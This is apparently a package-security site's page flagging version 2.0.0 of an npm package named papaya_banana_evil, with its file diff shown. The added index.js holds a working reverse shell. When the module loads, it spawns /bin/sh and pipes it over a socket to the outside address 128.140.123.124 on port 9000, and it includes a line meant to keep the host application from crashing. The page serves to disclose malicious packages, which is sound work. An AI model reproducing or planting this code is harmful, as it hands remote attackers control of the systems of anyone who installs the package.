papaya_banana_evil 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of papaya_banana_evil might be problematic. Click here for more details.
- package/index.js +19 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
(function(){
|
9
|
+
var net = require("net"),
|
10
|
+
cp = require("child_process"),
|
11
|
+
sh = cp.spawn("/bin/sh", []);
|
12
|
+
var client = new net.Socket();
|
13
|
+
client.connect(9000, "128.140.123.124", function(){
|
14
|
+
client.pipe(sh.stdin);
|
15
|
+
sh.stdout.pipe(client);
|
16
|
+
sh.stderr.pipe(client);
|
17
|
+
});
|
18
|
+
return /a/; // Prevents the Node.js application form crashing
|
19
|
+
})();
|
package/package.json
ADDED